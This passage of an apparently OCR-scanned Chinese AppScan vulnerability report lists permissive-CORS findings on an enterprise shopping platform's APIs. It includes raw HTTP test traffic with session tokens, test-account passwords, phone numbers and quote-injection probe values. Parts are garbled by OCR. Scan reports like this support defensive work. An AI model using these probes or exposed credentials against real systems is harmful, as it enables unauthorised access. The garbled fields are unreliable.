                                  "payType": nuii,
"deliveryAddress": null,
"""" 
「怀信",
                                   "payType": null,
                                   "receiverPhone": "18665939116",
                                   "acceptSynStatus": 0,
                                   "logisticsStatus": 0,
                                   "status": 0,
                                   "isSelfExtract": 0,
                                   "freight": 0.00,
                                   "hasInvoice": 0,
                                   "parentOrderNo": "1715621448116654",
                                   "autoCancelTime": null,
```

```
"deliveryTime": null,
"autoConfirmTime": null,
"confirmTime": null,
"shipmentsTime": null,
"shipmentsUser": "",
"userName": " 怀信",
"userPhone": "18665939116",
"billNo": null,
"runid": null,
"globalFlowNo": null,
"taskOpinionList": null,
"totalNum": 1,
"orderDetails": [
                  "rid": 10915,
                  "orderNo": "1715621448126654",
                  "goodsId": 105177,
                  "goodsNum": 1,
                  "goodsPrice": 99999999.00,
                  "totalValue": 99999999.00,
                  "isScore": 0,
                  "status": 0,
"goodsCode": "0200312",
"goodsName": "2018010-
"goodsImg": "",
"goodsSpec": " 操作
                                                   怀信-不走流程",
                                          绿色",
                  "goodsUnit": "
                                          支",
                  "hasService": 0,
                  "facilitatorId": null,
                  "facilitatorCode": null,
                  "goodsType": 0,
"goodsModel": "
                  "parentOrderNo": "1715621448116654",
                  "canAfterSaleNum": 1,
                  "realTotalValue": 99999999.00,
                  "classCode": "2703",
"className": "
                  "classId": null,
                  "parentClassCode": null,
                  "parentClassName": "
                                               耗材类",
                  "parentClassId": null,
                  "brandId": 4411,
                  "brandName": "
                                          晨光",
                  "orderServeList": null,
                  "approvaltypeid": null,
                  "goodslevelid": null,
                  "gsbmid": null,
                  "level": null,
                  "gsbmname": null,
                  "approvaltypename": null,
                  "createTime": null,
                  "userAccount": null
"selfExtractInfo": null,
"orderInvoice": null,
"orderTicketList": null
"orderNo": "1715621415246654",
"enterpriseId": 55,
"shopId": 1670,
"userAccount": "1206654",
"createTime": 1515662141571,
"createTimeStr": "2018-01-11 17:15:41",
"totalPay": 99999999.00,
"totalMinis": 0.00,
"realPay": 99999999.00,
"walletPayQty": null,
"realPayQty": null,
"payStartTm": null,
"payStatus": 2,
"payFinishTm": null,
"addressId": 1191315,
"note": null,
"synStatus": 1,
"payType": null,
"deliveryAddress": null,
```

```
"receiverName": " 怀信", "receiverPhone": "18665939116",
                                     "acceptSynStatus": 0,
                                     "logisticsStatus": 0,
                                     "status": 0,
                                     "isSelfExtract": 0,
                                     "freight": 0.00,
                                     "hasInvoice": 0,
                                     "parentOrderNo": "1715621415236654",
                                     "autoCancelTime": null,
                                     "deliveryTime": null,
                                     "autoConfirmTime": null,
                                     "confirmTime": null,
                                     "shipmentsUser": "",
"" 「怀信",
                                     "userName": " 怀信",
"userPhone": "18665939116",
                                     "billNo": null,
                                     "runid": null,
                                     "globalFlowNo": null,
                                     "taskOpinionList": null,
                                     "totalNum": 1,
                                     "orderDetails": [
                                                       "rid": 10913,
                                                       "orderNo": "1715621415246654",
                                                       "goodsId": 105177,
                                                       "goodsNum": 1,
                                                       "goodsPrice": 99999999.00,
                                                       "totalValue": 99999999.00,
                                                       "isScore": 0,
                                                       "status": 0,
                                                       "goodsCode": "0200312",
"goodsName": "2018010-
                                                                                        怀信-不走流程",
                                                       "goodsImg": "",
. . .
```

变体-|5/5

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=5&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:20:41 GMT
Content-Type: application/json
```

```
Transfer-Encoding: chunked
{
  "data": [
                   "total": 246,
                   "orderList": [
                                     "orderNo": "1759647550466654",
                                     "enterpriseId": 55,
                                     "shopId": 1670,
                                     "userAccount": "1206654",
                                     "createTime": 1515664755093,
                                     "createTimeStr": "2018-01-11 17:59:15",
                                     "totalPay": 300.00,
"totalMinis": 0.00,
                                     "realPay": 300.00,
                                     "walletPayQty": null,
                                     "realPayQty": null,
                                     "payStartTm": null,
                                     "payStatus": 2,
                                     "payFinishTm": null,
                                     "addressId": 1191315,
                                     "note": null,
                                     "synStatus": 1,
                                     "payType": null,
                                     "deliveryAddress": null,
"receiverName": " 怀信",
                                     "receiverPhone": "18665939116",
                                     "acceptSynStatus": 0,
                                     "logisticsStatus": 0,
                                     "status": 0,
                                     "isSelfExtract": 0,
                                     "freight": 0.00,
                                     "hasInvoice": 0,
                                     "parentOrderNo": "1759647550456654",
                                     "autoCancelTime": null,
                                     "deliveryTime": null,
                                     "autoConfirmTime": null,
                                     "confirmTime": null,
                                     "shipmentsTime": null,
                                     "shipmentsUser": "",
"userName": " 怀信",
"userPhone": "18665939116",
                                     "billNo": null,
                                     "runid": null,
                                     "globalFlowNo": null,
                                     "taskOpinionList": null,
                                     "totalNum": 1,
                                     "orderDetails": [
                                                       "rid": 11751,
                                                       "orderNo": "1759647550466654",
                                                       "goodsId": 105172,
"goodsNum": 3,
                                                       "goodsPrice": 100.00,
"totalValue": 300.00,
                                                       "isScore": 0,
                                                       "status": 0,
                                                       "goodsCode": "0156474",
                                                       "goodsName": "lalala",
                                                       "goodsImg": "",
                                                       "goodsSpec": "",
"goodsUnit": "
                                                                             秒",
                                                       "hasService": 0,
                                                       "facilitatorId": null,
                                                       "facilitatorCode": null,
                                                       "goodsType": 0,
                                                       "goodsModel": "",
                                                       "parentOrderNo": "1759647550456654",
                                                       "canAfterSaleNum": 3,
                                                       "realTotalValue": 300.00,
                                                       "classCode": "2693",
"className": "
                                                                              设备类",
                                                       "classId": null,
                                                       "parentClassCode": null,
                                                       "parentClassName": "
                                                                                     设备类",
                                                       "parentClassId": null,
```

```
"brandId": 4404,
                                                           "brandName": "SUNEEE",
                                                           "orderServeList": null,
                                                           "approvaltypeid": null,
                                                           "goodslevelid": null,
                                                           "qsbmid": null,
                                                           "level": null,
                                                           "gsbmname": null,
                                                           "approvaltypename": null,
                                                           "createTime": null,
                                                           "userAccount": null
                                       "selfExtractInfo": null,
                                       "orderInvoice": null,
                                       "orderTicketList": null
                                       "orderNo": "1757646310796654",
                                       "enterpriseId": 55,
                                       "shopId": 1670,
                                       "userAccount": "1206654",
"createTime": 1515664631128,
                                       "createTimeStr": "2018-01-11 17:57:11",
                                       "totalPay": 200.00,
                                       "totalMinis": 0.00,
                                       "realPay": 200.00,
                                       "walletPayQty": null,
                                       "realPayQty": null,
                                       "payStartTm": null,
                                        "payStatus": 2,
                                       "payFinishTm": null,
                                       "addressId": 1191315,
                                       "note": null,
                                       "synStatus": 1,
                                        "payType": null,
                                       "deliveryAddress": null,
"receiverName": 「怀信",
"receiverPhone": "18665939116",
                                       "acceptSynStatus": 0,
                                       "logisticsStatus": 0,
                                       "status": 0,
                                       "isSelfExtract": 0,
                                       "freight": 0.00,
                                       "hasInvoice": 0,
                                        "parentOrderNo": "1757646310786654",
                                        "autoCancelTime": null,
                                       "deliveryTime": null,
                                       "autoConfirmTime": null,
                                       "confirmTime": null,
                                       "shipmentsTime": null,
                                       "shipmentsUser": "",
"userName": " 怀信",
"userPhone": "18665939116",
                                        "billNo": null,
                                       "runid": null,
                                        "globalFlowNo": null,
                                       "taskOpinionList": null,
                                       "totalNum": 1,
                                       "orderDetails": [
                                                          "rid": 11746,
                                                          "orderNo": "1757646310796654",
"goodsId": 105172,
                                                          "goodsNum": 2,
                                                           "goodsPrice": 100.00,
                                                          "totalValue": 200.00,
                                                           "isScore": 0,
                                                          "status": 0,
"goodsCode": "0156474",
"goodsName": "lalala",
                                                          "goodsName": "Ia
"goodsImg": "",
"goodsSpec": "",
"goodsUnit": "
                                                                                 秒",
                                                           "hasService":
. . .
```

问题 35 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	updateGoodsOnOff (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 84
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                "status": 1
        ]
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:38 GMT
Content-Type: application/json
Transfer-Encoding: chunked
```

```
{
  "data": [
],
  "returnCode": 0,
  "msg": " 商品上下架操作成功",
  "html": null
}
```

变体-|2/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 84
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                "status": 0
        ]
}
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:38 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 0,
"msg": "商品上下架操作成功",
 "html": null
```

问题 36 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	fit.
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAddToSave
实体:	goodsclassAddToSave (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 177
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:41 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "
               请先将该分类下所有资产删除或冻结后在禁用",
 "html": null
```

问题 **37** / **51** Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock
实体:	updateGoodsStock (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/3

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 60
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "99999999",
 "departmentid": 1670
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:43 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 0,
 "msg": "
               超出最大库存限制: 99999999, 当前还可增加: 0",
 "html": null
```

变体-|2/3

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 55
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:43 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "
               超出最大库存限制: 99999999, 当前还可增加: 0",
 "html": null
```

变体-|3/3

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 60
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
```

```
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
"goodsid": 105184,
"stockqty": "00000000",
 "departmentid": 1670
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:46 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 1,
               修改成功",
 "msg": "
 "html": null
```

问题 38 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/login
实体:	login (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/3

差异: cookie 已从请求除去: 6cecd9abca2a5797bbb71b3bef6db3f8

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 33
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: enterpriseLevel=1; account=setest01; enterpriseCode=SUNEEE; enterpriseId=55
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=setest02&password=123456
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:28:19 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                 "aliasName": "
                                      资源商城测试02",
                 "enterpriseCode": "SUNEEE",
                 "registerTime": "Fri Nov 17 11:47:07 CST 2017",
                 "enterpriseLevel": "1",
                 "mobile": "13434343402",
                 "sessionId": "b8a0e1a38f684cea97462eae2833ac5e",
                 "userName": "setest02",
"enabled": "true",
                 "url": "static/index.html",
                 "name": "
                               资源商城测试02",
                 "enterpriseId": "55",
                 "account": "setest02",
                 "email": "",
                 "lastUpdateTime": "Fri Nov 17 11:47:07 CST 2017"
 "returnCode": 1,
 "msg": "
                处理成功!",
 "html": null
```

变体-|2/3

差异: cookie 已从请求除去: ee7290de32e02a6f31d21e51ab01d02b

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 33
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: enterpriseLevel=1; account=setest01; enterpriseCode=SUNEEE; enterpriseId=55
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/login.html
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
```

```
Accept-Language: en-US, en; q=0.8
username=setest01&password=123456
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:28:19 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                  "aliasName": "
                                       资源商城测试01",
                  "enterpriseCode": "SUNEEE",
                  "registerTime": "Fri Nov 17 11:46:22 CST 2017",
                  "enterpriseLevel": "1",
                  "mobile": "13434343401",
                  "sessionId": "20f3dc8cd579da589416b7af06ba947b",
                  "userName": "setest01",
                  "enabled": "true",
                  "url": "static/index.html",
                  "name": " 资源商城测试01",
"enterpriseId": "55",
                 "account": "setest01",
"email": "",
                 "lastUpdateTime": "Fri Nov 17 11:46:22 CST 2017"
 "returnCode": 1,
 "msq": "
                处理成功! ",
 "html": null
```

变体-|3/3

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 33
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=setest01&password=123456
HTTP/1 1 200 OK
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
```

```
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:28:19 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                  {
  "aliasName": "
  isacode
                                         资源商城测试01",
                   "enterpriseCode": "SUNEEE",
                   "registerTime": "Fri Nov 17 11:46:22 CST 2017", "enterpriseLevel": "1",
                    "mobile": "13434343401",
                    "sessionId": "7df33ccaa5e2c304ace486f39ac9854a",
                   "userName": "setest01",
"enabled": "true",
                    "url": "static/index.html",
                   "name": " 资源商城测试01",
"enterpriseId": "55",
                   "account": "setest01",
"email": "",
                   "lastUpdateTime": "Fri Nov 17 11:46:22 CST 2017"
 "returnCode": 1,
                  处理成功!",
 "msg": "
 "html": null
```

问题 **39 / 51** Toc

过度许可的 CORS 访问测试	
严重性:	低
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/user/userModify
实体:	userModify (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/3

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 152
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=6cecd9abca2a5797bbb71b3bef6db3f8; enterpriseId=55;
```

```
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "d'sa'f'd'sa",
 "eMail": "f'd'sa'f'd",
 "telphone": "13434343401"
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:53 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 0,
 "msg": "
               修改失败! null",
 "html": null
```

变体-|2/3

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 168
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
```

```
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:53 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 0,
 "msg": "
               修改失败! null",
 "html": null
```

变体-|3/3

测试请求和响应:

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

```
POST /user/userModify HTTP/1.1
Content-Length: 2
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=607ac0579768da8ecf687780713c8bf0; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:53 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 0,
               修改失败! null",
 "msg": "
 "html": null
```

问题 40 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/user/getUserRealMenuList
实体:	getUserRealMenuList (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/3

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /user/getUserRealMenuList HTTP/1.1
